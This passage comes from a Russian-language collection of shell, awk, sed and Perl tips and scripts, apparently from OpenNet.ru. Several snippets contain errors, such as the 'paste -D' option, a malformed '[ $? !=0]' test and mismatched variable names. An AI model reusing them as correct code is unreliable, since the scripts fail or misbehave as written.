         gsub(/^ *| *$/,"",$i);
         print "Field " i " is " $i;
       }
    
    Если в CSV данные помещены в кавычки, например "field1","field2", то подойдет такой скрипт:
    
       FS=','
       for(i=1;i<=NF;i++){
         gsub(/^ *"|" *$/,"",$i);
         print "Field " i " is " $i;
       }
    
    Но скрипт придется усовершенствовать для разбора полей вида:
    
    field1, "field2,with,commas"  ,  field3  ,  "field4,foo"
    
       $0=$0",";  
       while($0) {
         match($0,/[^,]*,| *"[^"]*" *,/);
         sf=f=substr($0,RSTART,RLENGTH); 
         gsub(/^ *"?|"? *,$/,"",f);
         print "Field " ++c " is " f;
         sub(sf,"");
       }
    
    
    Проверка IPv4 адреса.
    
       awk -F '[.]' 'function ok(n) {
         return (n ~ /^([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])$/)
       }
       {exit (ok($1) && ok($2) && ok($3) && ok($4))}'
    
    
    Сравнение двух файлов.
    
    Вывод всех дублирующихся строк из двух неотсортированных файлах file1 и file2:
       awk '!($0 in a) {c++;a[$0]} END {exit(c==NR/2?0:1)}' file1 file2
    
    
    Вывод только выделенных блоков текста.
    
    Например, чтобы показать из файла с текстом только текст, отмеченный как =текст= 
    можно использовать:
       awk -v RS='=' '!(NR%2)'
    
    с форматированием переносов строк:
       awk -v RS='=' '!(NR%2){gsub(/\n/," ");print}'
    
     
    ----* Как хранить дату выполнения в истории команд bash (доп. ссылка 1)   Автор: kpblca  [комментарии]
     
    По умолчанию bash, а точнее утилита history, не сохраняет в .bash_history 
    время исполнения каждой команды.
    
    Почитал маны и оказалось, что в баше трейтье версии сделать это можно и весьма просто. 
    Если объявить глобальную переменную HISTTIMEFORMAT с форматом выводимых данных, 
    то утилита history будет сохранять и выводить эту дату.
    
    Итак, пишем в ~/.bashrc строчку
    
       export HISTTIMEFORMAT='%h %d %H:%M:%S '
    
    После этого в .bash_history перед каждой командой появится коментарий
     с цифрой - временем выполнения этой команды в формате timestamp:
    
       #1198068550
       history
       #1198139874
       ьс
       #1198139876
       mc
       #1198148168
       ssh teletrade.ru
       #1198148217
       ssh teletrade.ru
    
    А команда history будет выдавать историю данных с датой в формате,
     который мы переменной задали (в похожем формате выдают дату и время утилита ls):
    
       995  Дек 19 15:49:10 history
       996  Дек 20 11:37:54 ьс
       997  Дек 20 11:37:56 mc
       998  Дек 20 13:55:49 ssh teletrade.ru
    
    Но можно сделать и по ГОСТУ, в приятном русскому глазу виде "ДД.ММ.ГГГГ"
    
       export HISTTIMEFORMAT='%d.%m.%Y %H:%M:%S '
    
    А можно и на американский манер "YYYY-MM-DD"
    
       export HISTTIMEFORMAT='%Y-%m-%d %H:%M:%S '
    
     
    ----* Отдельный файл истории работы в bash для пользователя работающего через SU (доп. ссылка 1)   [комментарии]
     
    Чтобы поместить в отдельный лог команды выполненные в режиме su:
    
    .bash_profile
       export HISTSIZE=3000
       export HISTFILESIZE=99999
       export HISTFILE=/root/.bash_hist-$(who am i|awk '{print $1}';exit)
    
    Получим два файла истории: .bash_hist-user и .bash_hist-root
    
     
    ----* Вертикальная конкатенация двух файлов (доп. ссылка 1)   [обсудить]
     
    Склеивание столбцов данных из файлов a.txt и b.txt, с разделителем пробел, производится командой:
       
       paste -D " " 1.txt 2.txt > 3.txt
    
    1.txt:
    1 1
    2 2
    3 3
    
    2.txt:
    4
    5
    6
    
    3.txt:
    1 1 4
    2 2 5
    3 3 6
    
      paste -s -D " " 1.txt 2.txt > 3.txt
    
    3.txt:
    1 1 2 2 3 3
    4 5 6
    
     
    ----* В чем отличие .bash_profile и .bashrc (доп. ссылка 1)   [комментарии]
     
    .bash_profile загружается только при входе пользователя в систему (консольный вход, ssh), 
    в то время как  .bashrc запускается для интерактивных сервисов выполняемых без
    логина (запуск xterm).
    
     
    ----* Пример работы с MySQL в bash скриптах   Автор: Luc!f3r  [комментарии]
     
    Пример1:
    
       password='Your_MySQL_Password'
    
       MYSQL_RESULT=`mysql -e "SELECT tables_col FROM table_name" -- 
       password="$password" database_name|grep -v tables_col|xargs|sed "s/ /\n/g"`
    
       for i in $MYSQL_RESULT; do
          echo $i
       done;
    
    Пример2:
    
       mysql -sse "SELECT col FROM table" -p"$password" database | while read i
       do
          echo $i
       done
    
    Комментарий 1: Пароль лучше передавать через переменную окружения MYSQL_PWD,
    чтобы он не светился в выводе ps.
    
    Комментарий 2 (от myhand):
    Другой вариант передача пароля через локальный файл конфигурации .my.cnf,
    размещенный в корне домашней директории пользователя:
    
    Пример .my.cnf:
    
    [client]
    user = имя_пользователя
    password = пароль
    host = хост_БД
    [mysql]
    database = имя_бд
    
     
    ----* Как определить смещение в часах для текущей временной зоны в Perl и Shell   [обсудить]
     
    Perl:
       use POSIX (strftime);
       my $tz = strftime("%z", localtime); 
       $tz =~ s/(\d\d)(\d\d)/$1/; 
    
    
    Shell:
       date +%z|sed 's/[0-9][0-9]$//'
    
     
    ----* Как использовать графические диалоговые окна в shell скриптах (доп. ссылка 1)   [обсудить]
     
    Выбор Yes или No (результат в $?, 0 - yes, 1 - no, 255 - закрыто окно), "0 0" -
    размер окна по умолчанию:
        Xdialog --title "Title" --yesno "Test or not" 0 0
    
    Вывести окно с текстом (60 - это таймаут для отображения окна):
       Xdialog --msgbox "text splitting\ntest..." 0 0
       Xdialog --infobox "text splitting\ntest..." 0 0 60
    
    Запросить текст от пользователя, по умолачнию выдать test:
       user_text=`echo "test" | Xdialog --editbox "-" 0 0`
    
    Показать, что выполнено 15% работы (--progress принимает накопительные данные)
    (новые значения посылаются через stdin, как только будет больше 100 окно закроется):
       Xdialog --gauge "test" 0 0 15
       Xdialog --progress "test" 0 0 100
    
    Ввод строки от пользователя (введенная строка помещается в stdout):
       Xdialog --inputbox "test" 0 0 "string"
    
    Ввод логина и пароля (в stduot - login/password):
       Xdialog --password --2inputsbox "test" 0 0 "Login" "guest"  "Password" ""
    
    Выбор элемента из списка:
       Xdialog -combobox "test" 0 0 "Test1" "Test2" "Test3"
    
    Выбор диапазона (от 1 до 10):
       Xdialog -rangebox "test" 0 0 1 10
    
    Показывать в окне растущий хвост файла file.txt:
       Xdialog  --tailbox file.txt 0 0
       Xdialog  --logbox file.txt 0 0
    
    Выбор файла или директории
       Xdialog --fselect def_file.txt 0 0
       Xdialog --dselect def_dir 0 0
    
    Показать 5 июня на календаре
       Xdialog --calendar "test" 0 0 5 6 2005
    
     
    ----* Памятка по командам SED (доп. ссылка 1)   Автор: madskull  [обсудить]
     
       a \text - Добавить "text" после указанной строки (вывести), потом считать следующую. 
       b label - Перейти на метку, устанавливаемую, с помощью функции ":" , если label пуст, то перейти в конец скрипта. 
       c \text - Удалить pattern space и вывести "text" на output . 
       d - Удалить pattern space . 
       D - Удалить pattern space до вставленной newline . 
       g - Заместить содержимое pattern space содержимым буфера hold space . 
       G - Добавить к содержимому pattern space содержимое буфера hold space . 
       h - Заместить содержимое буфера hold space на содержимое pattern space . 
       H - Добавить к содержимому буфера hold space содержимое pattern space . 
       i \text - Вывести текст на output перед указанной строкой. 
       n - Вывести pattern space на output и считать следующую строку. 
       N - Добавить следующую строку к pattern space , разделяя строки вставленным newline . 
       p - Скопировать pattern space на output . 
       P - Скопировать pattern space до первой вставленной newline на output . 
       q - Переход на конец input . Вывести указанную строку, (если нет флага -n ) и завершить работу SED 
       r rfile - Читать содержимое rfile и вывести его на output прежде чтения следующей строки. 
       t label - Перейти на метку, устанавливаемую с помощью функции ":" , если для этой строки была 
            осуществлена замена с помощью функции "s" . Флаг осуществления замены восстанавливается 
            при чтении следующей строки или при выполнении функции "s" . 
       w wfile - Добавить pattern space к концу файла wfile . (Максимально можно использовать до 10 открытых файлов.) 
       x - Поменять местами содержимое pattern space и буфера hold space . 
       ! func - Применять функцию func (или группу функций в {} ) к стокам НЕ попадающим в указанные адреса. 
       : label - Устанавливает метку для перехода по "b" и "t" командам. 
       = - Выводит номер строки на output как строку. 
       { - Выполняет функции до "}" , только когда выбрано pattern space . Группировка функций. 
       # - Комментарий. 
       "#n" в скрипте равносильно установке флага -n 
    
    
    Примеры:
    
       Выдираем ссылки из документа
          cat index.html | sed -n 'H;${x;s/\n//g;s/ [hH][rR][eE][fF]=/\n/g;p}' | 
          # делаем ссылки в начале строки
          sed 's/[ >].*//;s/"//g'# обрубаем концы и легкая косметика
    
       Аналог dos2unix
          $ sed -i 's/\r//' file
    
       Убрать переводы строк в тексте
          $ sed -ni 'H;${x;s/\n//g;p}' file
    
     
    ----* Работа со строками в bash (доп. ссылка 1)   Автор: madskull  [обсудить]
     
       ${#string} - Длина строки
    
    Извлечение подстроки
       ${string:position} - с position до конца
       ${string:position:length} - с position длиной length символов
       ${string: -length} - последние length символов
    
    Удаление части строки
       ${string#substring} - до первого с начала
       ${string##substring} - до последнего с начала
       ${string%substring} - до первого с конца
       ${string%%substring} - до последнего с конца
    
    Замена подстроки
    
       ${string/substring/replacement} - первое вхождение
       ${string//substring/replacement} - все вхождения
       ${var/#Pattern/Replacement} - Если в переменной var найдено совпадение с Pattern, 
           причем совпадающая подстрока расположена в начале строки (префикс), 
           то оно заменяется на Replacement. Поиск ведется с начала строки
       ${var/%Pattern/Replacement} - Если в переменной var найдено совпадение с Pattern, 
           причем совпадающая подстрока расположена в конце строки (суффикс), 
           то оно заменяется на Replacement. Поиск ведется с конца строки
    
    Пример:
       a="12345"; echo "${a}"; echo "${a:3}"; echo "${a#12}"; echo "${a/12/21}"
    
     
    ----* Получение строки случайных символов в Shell   Автор: uncknown  [комментарии]
     
    Пригодится, например, для создания временных файлов:
    FreeBSD: head -c 15 /dev/random | md5 | tail -c 10
    Linux:   head -c 15 /dev/random | md5sum | head -c 10
    
     
    ----* Пример математических операций в shell используя bc (доп. ссылка 1)   [комментарии]
     
      echo "(321-123)/123" | bc -l
      echo "framing=20; minsize=64; (100*10^6)/((framing+minsize)*8)" | bc
    
    Рисование графика
      echo "framing=20; plot [64:1518] (100*10* *6)/((framing+x)*8)" | gnuplot -persist
    
    Преобразование из десятичного в шестнадцатеричный вид
      echo "obase=16;ibase=10;123" | bc
    
     
    ----* Скрипт для удаленного редактирования файлов   Автор: spanka  [комментарии]
     
    #!/bin/sh
    tmp_file=`mktemp /tmp/scp_vi.XXXXXXXXXX`
    cp /dev/null $tmp_file
    scp $1 $tmp_file
    vi $tmp_file
    scp $tmp_file $1
    rm -f $tmp_file
    
    запускать так: rvi login@host:/patch/to/file 
    В vim можно писать "vim scp://user@host.ru:/home/user/file"
    
     
    ----* Вывод времени в заданном формате в Shell   [комментарии]
     
    Для записи в переменную cur_date времени в формате год-месяц-день-час-минута:
        cur_date=`date \+\%Y_\%m_\%d_\%H_\%M`
    
     
    ----* Как в Shell выполнить определенное действие сразу после обновления файла (доп. ссылка 1)   [обсудить]
     
    fileschanged -r /shared/source/tree | while read fd; do
      stat -format="%n modified by %U at %y" $fc
    done
    
    fileschanged - http://fileschanged.sourceforge.net
    
     
    ----* Как отделить имя файла от расширения в bash и freebsd sh (доп. ссылка 1)   [комментарии]
     
    Заменяем расширение .wav на .mp3:
      file_name="file.wav"
      echo ${file_name%%.wav}.mp3
    
     
    ----* Пример использования eval и разбор параметров на Shell   [обсудить]
     
    control_param="test1 test2"
    
    num_test1="123"
    num_test2="456"
    
    for cur_item in $control_param; do
       eval num_val=\$num_$cur_item
    done
    
     
    ----* Как определить сумму столбца цифр в файле.   [обсудить]
     
    Суммируем 3-й столбец из лог файла.
    cat logfile| awk '{s += $3} END {print s}'
    
     
    ----* Цикл с счетчиком итераций на Shell   [комментарии]
     
    min_num=2
    max_num=10
    i=$min_num
    while [ $i -le $max_num ]; do
            echo "$i"
            i=$[i+1] # в зависимости от shell также подходит i=$(($i + 1)) или i=`expr $i + 1`
    done
    
     
    ----* Как пропарсить примитивный файл конфигурации на Shell (чтение файла с разбивкой по столбцам) ?   [обсудить]
     
    cat config.txt| grep -v '^ *#'| while read param1 param2; do                    
            echo "$param1 - $param2"
    done
    
     
    ----* Как в sh определить число символов в строке   Автор: Soldier  [комментарии]
     
    В FreeBSD sh и bash:
    test="string"
    len=${#test} ##Длина строки test
    char1='t' ##Первый символ для поиска
    pos1='echo $test | awk -vs=${char1} '{print index($0,s);}''  ##pos1=2 - найден
    
     
    ----* Специфичные особенности удаления элементов массивов в Bash   Автор: Омельянович Евгений  [комментарии]
     
    В руководствах Bash упоминается, что команда "unset name[N]" выполняет удаление
    элемента массива, например:
    
    https://www.gnu.org/software/bash/manual/html_node/Arrays.html#Arrays
    
       The unset builtin is used to destroy arrays. 
       unset name[subscript] destroys the array element at index subscript.
    
    https://tldp.org/LDP/abs/html/arrays.html
    
       unset colors[1]              # Remove 2nd element of array.
    
    https://www.opennet.ru/docs/RUS/bash_scripting_guide/c12790.html
    
       unset colors[1]              # Удаление 2-го элемента массива.
    
    Данное описание не соответствует действительности, так как элемент массива для
    корректного удаления необходимо заключить в кавычки '..'
    
    Для конкретного примера:
    
       unset 'colors[1]'
    
    Если не использовать кавычки, то bash попытается сделать расширение имени и
    заменит "unset colors[1]" на "unset colors1". Проверить это можно выполнив:
    
       > touch colors1
       > bash example_25_3.sh
    
     
    ----* Как преобразовать имена файлов из верхнего регистра в нижний   Автор: lavr  [комментарии]
     
      for i in `ls`; do mv "$i" `echo "$i" | tr "[:upper:]" "[:lower:]"`; done
    
     
    ----* Результат ping в скриптах   Автор: Белоусов Олег  [комментарии]
     
    ping -c 2 host_name
    if [ $? !=0]; then
       echo "Not ping!"
    else
       echo "Work normal"
    fi
    
     

       Готовые скрипты

    ----* Автоматизация отправки сообщений в Jabber на примере трансляции новостей с OpenNet (доп. ссылка 1)   Автор: Nvb13  [комментарии]
     
    Введение
    
    Получаем новости с сайта OpenNet.ru в Jabber с возможностью шифрования OpenPGP.
    
    Исходники
    
       #!/bin/bash
    
       #################################
       #				#
       #	Opennet.ru Jabber	#
       #	   News Parser		#
       #				#
       #################################
    
       ### Login/Pass/Server of bot ####
    
       Jid=""     # Only login: test
       Pass=""    # Password
       JServer="" # Exapmle.com
    
       #################################
    
       ### Jid/PGP key of recipient ####
    
       Send_to=""  # Jid: test@example.com
       Crypt="1"   # Encrypt with OpenPGP or not: 1,0
       Key_Name="" # PGP key name: my_key
    
       #################################
    
    
       sqlite3=`which sqlite3`
       DB_FILE=./opennet_db.db
    
       $sqlite3 $DB_FILE  "
            create table IF NOT EXISTS  news (
    	   id integer primary key autoincrement,
               News TEXT UNIQUE);"
    
       # Get news from Opennet.ru, and remove trash
       curl -s https://www.opennet.ru/opennews/opennews_3.txt | iconv -f koi8-r \
       | cut -d '<' -f 8 | cut -d '"' -f 2,3 | sed 's/"//g' | sed 's/>/ /g' > /tmp/opennet_temp.txt
    
    
       # Wrirt news to database
       while read line
        do
    	$sqlite3 $DB_FILE  "insert into news (News) values  ('""$line""')"
    
    	if [ $? == "0" ];then # If news not in database, encrypt it and send it to recipient
    
    		if [ "$Crypt" == 1 ]; then
                      msg=$(echo "$line" | gpg -e -r "$Key_Name" --armor | grep -v 'PGP MESSAGE' | grep -v '^$')
                      msg_tmp="/tmp/$(( ( RANDOM % 25400 )  + 1 ))"
    
                      echo "<message to='$Send_to' from='$Jid@$JServer' type='chat'>" >> $msg_tmp
                      echo "<body>This message is encrypted.</body>" >> $msg_tmp
                      echo "<x xmlns='jabber:x:encrypted'>$msg</x>" >> $msg_tmp
                      echo "</message>" >> $msg_tmp
    
                      cat $msg_tmp | sendxmpp -u "$Jid" -p "$Pass" -j "$JServer" -t --raw
                    else #Send not encrypted message
                      echo "$line"  | sendxmpp -u "$Jid" -p "$Pass" -j "$JServer" -e -t "$Send_to"
                    fi
    	fi
            sleep 2
        done < "/tmp/opennet_temp.txt"
    
        rm -rf /tmp/opennet_temp.txt "$msg_tmp"
    
        exit 0;
    
    
    Актуальный исходный код и инструкцию по установке можно загрузить на странице https://github.com/nvb13/OpenNet_to_xmpp
    
    
    
    Установка
    
    Для работы скрипта требуются sendxmpp, sqlite3, curl
    
       apt-get install sendxmpp sqlite3 curl
       git clone https://github.com/nvb13/OpenNet_to_xmpp.git
       cd OpenNet_to_xmpp/
       chmod +x opennet_xmpp.sh
    
    Настройка
    
    Зарегистрируйте Jabber аккаунт бота на любом сервере. 
    
    Заполните поля в файле opennet_xmpp.sh
    
       Jid="" # Логин бота без собаки и хоста.
       Pass="" # Пароль бота
       JServer="" # Сервер бота
       Send_to="" # Jabber ID получателя куда будут приходить новости test@example.com
       Crypt="1" # Шифровать сообщения с OpenPGP или нет. Значения 1 или 0
       Key_Name="" # Имя вашего PGP ключа. Например my_key
    
    Если используете шифрование, то импортируйте публичный ключ получателя.
    
       gpg --import key_file.asc где key_file.asc файл публичного ключа получателя
    
    Проверьте работу скрипта 
    
       ./opennet_xmpp.sh 
    
    Если все работает добавьте задание в cron
    
       crontab -e */30 * * * * /home/username/OpenNet_to_xmpp/opennet_xmpp.sh
    
     
    ----* Автоматическое блокирование экрана при отдалении от компьютера мобильного телефона (доп. ссылка 1)   [комментарии]
     
    Ниже представленный скрипт позволяет организовать автоматический вызов
    блокировщика экрана при отдалении от компьютера мобильного телефона. В качестве
    фактора вызова блокировщика используется пропадание указанного устройства
    Bluetooth из области видимости.
    
    Для определения MAC-адреса и имени устройства, следует использовать утилиту:
    
       hcitool scan
    
    
    Код скрипта:
    
       #!/bin/bash
    
       DEVICE=MAC-адрес Bluetooth-устройства
       DEV_NAME="Имя устройства"
       INTERVAL=5 # in seconds
    
       # The xscreensaver PID
       XSS_PID=
    
       # Start xscreensaver if it's not already running
       pgrep xscreensaver
       if [ $? -eq 1 ]; then
          echo "Starting xscreensaver..."
          xscreensaver &
       fi
       
       # Assumes you've already paired and trusted the device
       while [ 1 ]; do
          opt=`hcitool name $DEVICE`
          if [ "$opt" = "$DEV_NAME" ]; then
             echo "Device '$opt' found"
             if [ -n "$XSS_PID" ]; then
                echo "Killing $XSS_PID"
                kill $XSS_PID
                XSS_PID=
             fi
          else
            echo "Can't find device $DEVICE ($DEV_NAME); locking!"
            xscreensaver-command -lock
            XSS_PID=$!
          fi
          sleep $INTERVAL
          done
    
     
    ----* Определение типа окончания строк (Windows или Unix) для текстовых файлов в небольшом Web-проекте   Автор: Kroz  [комментарии]
     
    Ситуация: небольшой Web-проект разрабатывается несколькими людьми на разных ОС:
    Windows и Linux. В результате в некоторых файлах перевод строк сделан в стиле
    Windows, в некоторых - в стиле Unix. Неудобство состоит в том, что если
    какая-то "интеллектуальная" программа поменяет тип перевода строк, система
    контроля версий Subversion помечает все строки как изменившиеся, и нужны
    дополнительные усилия чтобы определить реальные изменения. Поэтому было принято
    решение определить тип перевода строк в каждом файле, и применить
    соответствующие меры (например, использовать атрибут svn:eol-style в subversion).
    
    Скрипт простой, легко кастомизируется под автоматическую конвертацию (с помощью
    dos2unix), другие типы файлов, определение стиля Macintosh (в данном случае
    различается только Windows и Unix):
    
       for FILE in `find -iname '*.php' -or -iname '*.css' -or -iname '*.js' -or -iname '*.txt' -or -iname '*.xml'` ; do
          echo -n "$FILE ... " ;
          WIN=`grep -P "\\r$" $FILE | head`;
          if [ -z "$WIN" ] ; then
             echo "Unix"
          else
             echo "Windows"
          fi
       done
    
     
    ----* Автоматическое определение в Linux количества процессорных ядер из скрипта   Автор: Карбофос  [комментарии]
     
    Данный подход можно применять для обработки данных на компьютерных системах с
    разным количеством процессорных ядер и использовать для параллелизации
    обработки данных по усмотрению.
    
    Пример скрипта с использованием cppcheck (статический анализ исходников в
    несколько потоков, опция -j)
    
    
    Пример скрипта с использованием cppcheck
    
       #!/bin/sh
    
       COUNT=$(cat /proc/cpuinfo | grep 'model name' | sed -e 's/.*: //' | wc -l)
       echo "number of detected CPUs =" $COUNT
    
       cppcheck -j $COUNT --force --inline-suppr . 2>errors.txt
    
    
    вариант от Vee Nee
    
       COUNT=$(lscpu -p=cpu | grep -v \\# | wc -l)
    
    вариант от pavlinux:
    
       COUNT=$(getconf _NPROCESSORS_ONLN)
    
    дополнение от Andrey Mitrofanov:
    
       COUNT=$(egrep -c '^processor' /proc/cpuinfo)
    
     
    ----* Автоматическая обработка фотографий   Автор: Карбофос  [комментарии]
     
    После покупки сканера для фотоплёнок и его применения у меня возникло несколько сложностей:
    
    1. переименование последовательности фотографий в случае сканирования в обратном порядке
    2. автоматическое переворачивание фотографий относительно какой-то оси. Если
    фотография вверх ногами, то это можно разобрать сразу,
    но если у изображений перепутаны стороны, то такое бросается в глаза далеко не
    сразу. Например, это заметно только по одной-двум фотографиям из всей плёнки.
    3. автоматическая обработка мелких дефектов в конвейере, с наиболее полным
    использованием ядер процессора
    
    Для реверсивной последовательности списка имён файлов и изменения в нормальную
    я написал этот скрипт
    
        #!/bin/bash
        #
        # reversenames.sh
        #
        # маска для моих файлов после сканирования
    
        DEFMASK="*.JPG"
    
        REVLIST=$(ls -r *.JPG)
        REVARRAY=($REVLIST)
    
        # только до половины списка обрабатывать
        len=`expr ${#REVARRAY[@]} / 2`
    
        echo "$len"
        j=0
        for i in $DEFMASK; do
          if [ ! -e $i ]; then
            echo "Error: current directory must contain files with the mask $MASK"
            echo
            exit 1
          fi
    
          echo "rename $i -> ${REVARRAY[j]}"
          mv $i $i.old
          mv ${REVARRAY[j]} $i
          mv $i.old ${REVARRAY[j]}
    
          j=`expr $j + 1`
          if [ $j -eq $len ]; then
            break
          fi
    
        done
    
        echo "ready"
    
    
    Для случая, когда нужно поменять стороны фотографий местами я дополнил скрипт,
    найденный в интернете для кручения фотографий на определённый угол. Вот
    расширенная версия этого скрипта:
    
        #!/bin/bash
        #
        # jpegsrotate.sh
        #
    
        if [ -z `which jpegtran` ]; then
          usage
          echo "Error: jpegtran is needed"
          echo
          exit 1
        fi
    
        shopt -s extglob
    
        DEFMASK="*.JPG"
        DEFEVENMASK="*[02468].JPG"
        DEFODDMASK="*[13579].JPG"
        FLIPMASK=""
        DEFDEG=270
    
        function usage() {
          echo
          echo "usage:"
          echo "$0"
          echo "    rotates files with the mask $DEFMASK by $DEFDEG degrees clockwise"
          echo "$0 --even"
          echo "    rotates even files with the mask $DEFEVENMASK by 180 degrees"
          echo "$0 --odd"
          echo "    rotates odd files with the mask $DEFODDMASK by 180 degrees"
          echo "$0 --params \"REGEXP\" (90|180|270)"
          echo "    rotates files with the mask REGEXP by the given aspect ratio clockwise"
          echo "$0 --flip [h|v]"
          echo "    flip pictures horizontal or vertical"
          echo
        }
    
        if [ "$1" == "--even" ]; then
          MASK=$DEFEVENMASK
          DEG=180
        elif [ "$1" == "--odd" ]; then
          MASK=$DEFODDMASK
          DEG=180
        elif [ "$1" == "--flip" ]; then
          MASK=$DEFMASK
          if [ "$2" == "v" ]; then
            FLIPMASK="vertical"
          else
            FLIPMASK="horizontal"
          fi
        elif [ "$1" == "--params" ]; then
          if [ -n "$2" -a -n "$3" ]; then
            MASK=$2
            DEG=$3
          else
            usage
            exit 1
          fi
        elif [ -n "$1" ]; then
          usage
          exit 1
        else
          MASK=$DEFMASK
          DEG=$DEFDEG
        fi
        echo $MASK
        for i in $MASK; do
          if [ ! -e $i ]; then
            usage
            echo "Error: current directory must contain files with the mask $MASK"
            echo
            exit 1
          fi
          echo "$i"
          if [ "$1" == "--flip" ]; then
            jpegtran -flip $FLIPMASK $i > $i.flipped
            mv $i.flipped $i
          else
            jpegtran -rotate $DEG $i > $i.rotated
            mv $i.rotated $i
          fi
        done
    
    Скрипт нужно вызвать следующим образом (флипнуть по горизонтали):
    
       ./jpegsrotate.sh --flip h
    
    Как видно, необходимо наличие программы jpegtran.
    
    Третий пункт с автоматической обработкой самый интересный. Для этих целей я
    выбрал программу ImageMagick не по каким-то причинам. Позже я испробую подобную
    обработку с GIMP, но в этот раз я использовал достаточно интересный ресурс со
    скриптами для обработки изображений http://www.fmwconcepts.com/imagemagick с
    кучей примеров и результатов обработки при вызове скриптов с определёнными параметрами.
    
    Затем я использовал готовый скрипт для циклической обработки графических файлов
    в директории. Скрипт взял здесь.
    
    Но несколько его видоизменил для использования нескольких ядер процессора.
    
        #!/bin/bash 
        # loop_for_fotos.sh
        #
        #проверяем, установлен ли convert
        convert > /dev/null
        if [ $? -ne 0 ] ; then 
          echo "Error: convert is needed, it's a part of ImageMagick" ;
        fi;
        DIR=$1;
        # велосипед, убирающий "/" в конце 
        if [ -z $1 ]; then $DIR=`pwd`; 
        else
          TEMP=`pwd`;
          cd $DIR; TEMP2=`pwd`; 
          cd $TEMP;
          DIR=$TEMP2;
          echo $TEMP2;
        fi; 
        #наши старые файлы копируем в DIR.orig
        echo $DIR
        mkdir $DIR/orig;
        for i in `ls $DIR/*.JPG`; 
        do
          cp $i orig/;
        done;
        ERR=0;
        CPUS=1;
    
        echo "Start in " $DIR
    
        files=$(ls $DIR/*.JPG)
        list=($files)
        len=${#list[@]}
    
        echo $len
        for(( i=0; i<$len ; i=i+$CPUS))
        do
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              ./denoise -f 2 -s "20x20+203+152" ${list[i+j]} ${list[i+j]}.den.jpg && ./isonoise -r 5 ${list[i+j]}.den.jpg ${list[i+j]}.iso.jpg &
            fi
          done;
    
          for job in `jobs -p` 
          do 
            echo $job 
            wait $job || let "FAIL+=1" 
          done;
        
          if [ $? -eq 0 ]; then 
            echo "denoise, isonoise successfully ;) next step"; 
          else ERR=$[$ERR+1]; #считаем ошибки
          fi;
    
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              rm  ${list[i+j]}.den.jpg
            fi
          done;
    
        done;
    
        CPUS=2;
    
        echo "Start in brightness calibration"
    
        for(( i=0; i<$len ; i=i+$CPUS))
        do
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              ./omnistretch -m HSB -ab 1 -s 1.5 ${list[i+j]}.iso.jpg ${list[i+j]} &
            fi
          done;
    
          for job in `jobs -p` 
          do 
            echo $job 
            wait $job || let "FAIL+=1" 
          done;
        
          if [ $? -eq 0 ]; then 
            echo "omnistretch successfully ;) next step"; 
          else ERR=$[$ERR+1]; #считаем ошибки
          fi;
    
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              rm  ${list[i+j]}.iso.jpg
            fi
          done;
    
        done;
    
        if [ $ERR -eq 0 ]; then 
          echo "Job done!";
        else echo "Job done with some errors.";
        fi;
        echo "You can find your old files in $DIR.orig"
        #end
    
    Вызываем скрипт с параметром "." для актуального директория, где находятся наши фотографии.
    
    В первом цикле я использовал вызов двух скриптов 
    
        ./denoise -f 2 -s "20x20+203+152" ${list[i+j]} ${list[i+j]}.den.jpg \
        && ./isonoise -r 5 ${list[i+j]}.den.jpg ${list[i+j]}.iso.jpg
    
    для последовательного отфильтровывания небольших дефектов. В этих скриптах
    задействованы оба ядра, поэтому для цикла обработки использовалась переменная
    CPUS=1, если в вашем процессоре четыре ядра, то можете увеличить значение в два
    раза и т.д.
    
    Для цикла обработки яркости 
    
       ./omnistretch -m HSB -ab 1 -s 1.5 ${list[i+j]}.iso.jpg ${list[i+j]} &
    
    уже использовалось вызов двух скриптов одновременно, т.к. при вызове одного
    используется только одно ядро. Поэтому значению переменной CPUS перед циклом
    было присвоено 2.
    
    Конечно, скрипт можно несколько улучшить, встроив автоматическое распознание
    количества ядер в системе. Но это уже - по желанию.
    
     
    ----* 10 полезных опций для написания однострочников на языке Perl (доп. ссылка 1)   [комментарии]
     
    В простейших случаях perl можно использовать в командной строке как замену grep и sed, например:
    
        perl -ne 'print if /foo/' 
        perl -pe 's/foo/bar/' 
    
    Но существует ряд интересных особенностей, которые часто упускаются из виду:
    
    Опция "-l"
    
    При добавлении опции "-l" perl автоматически очищает символ перевода строки
    перед обработкой в скрипте и добавляет его при каждом выводе данных.
    
    Например, для очистки завершающих каждую строку файла пробелов можно использовать:
    
        perl -lpe 's/\s*$//'
    
    (если указать perl -pe 's/\s*$//', то будут удалены и символы перевода строки)
    
    
    Опция "-0"
    
    По умолчанию perl разбивает входящий поток на строки, обрабатывая каждую строку
    отдельно. Опция "-0" позволяет выполнить операцию над файлом целиком, без
    разбиения на строки по символу перевода строки, а с разбиением на блоки по
    нулевому символу (так как в текстовых файлах \0 не встречается можно
    использовать -0 для обработки всего файла разом).
    
    Например, для удаления из текущей директории всех файлов, имена которых
    начинаются с тильды, можно использовать:
    
       find . -name '*~' -print0 | perl -0ne unlink
    
    Опция "-i"
    
    При указании "-i" perl считывает поток данных из указанного в командной строке
    файла, а затем записывает в него же результат работы, заменяя его. В качестве
    аргумента можно указать расширение для создания резервной копии файла.
    
    Например для удаления всех комментариев в скрипте script.sh можно использовать:
    
          perl -i.bak -ne 'print unless /^#/' script.sh
    
    На случай ошибки, старая версия файла будет сохранена в script.sh.bak.
    
    
    Оператор ".."
    
    Для оперировании с диапазоном строк необходимо учитывать состояние прошлых
    вычислений, для чего можно использовать оператор "..".
    Например, для раздельной выборки всех GPG-ключей из одного файла, выводя только
    данные, идущие между указанным заголовком и футером, можно использовать:
    
       perl -ne 'print if /-----BEGIN PGP PUBLIC KEY BLOCK-----/../-----END PGP PUBLIC KEY BLOCK-----/' FILE
    
    Опция "-a"
    
    При указании опции "-a" perl автоматически разбивает каждую строку на части, по
    умолчанию используя пробел в качестве разделителя, и помещает ее элементы в
    массив @F.
    Например, для вывода 8 и 2 столбца можно использовать: 
    
       ls -l | perl -lane 'print "$F[7] $F[1]"'
    
    Опция "-F"
    
    Опция "-F" позволяет указать символ разделителя для разбиения строки при использовании опции "-a".
    Например, для разбиения не по пробелу, а по двоеточию, нужно указать:
    
       perl -F: -lane 'print $F[0]' /etc/passwd
    
    
    Оператор "\K"
    
    При указании "\K" внутри регулярного выражения, можно отбросить все ранее
    найденные совпадения, что позволяет упростить операции по замене данных без
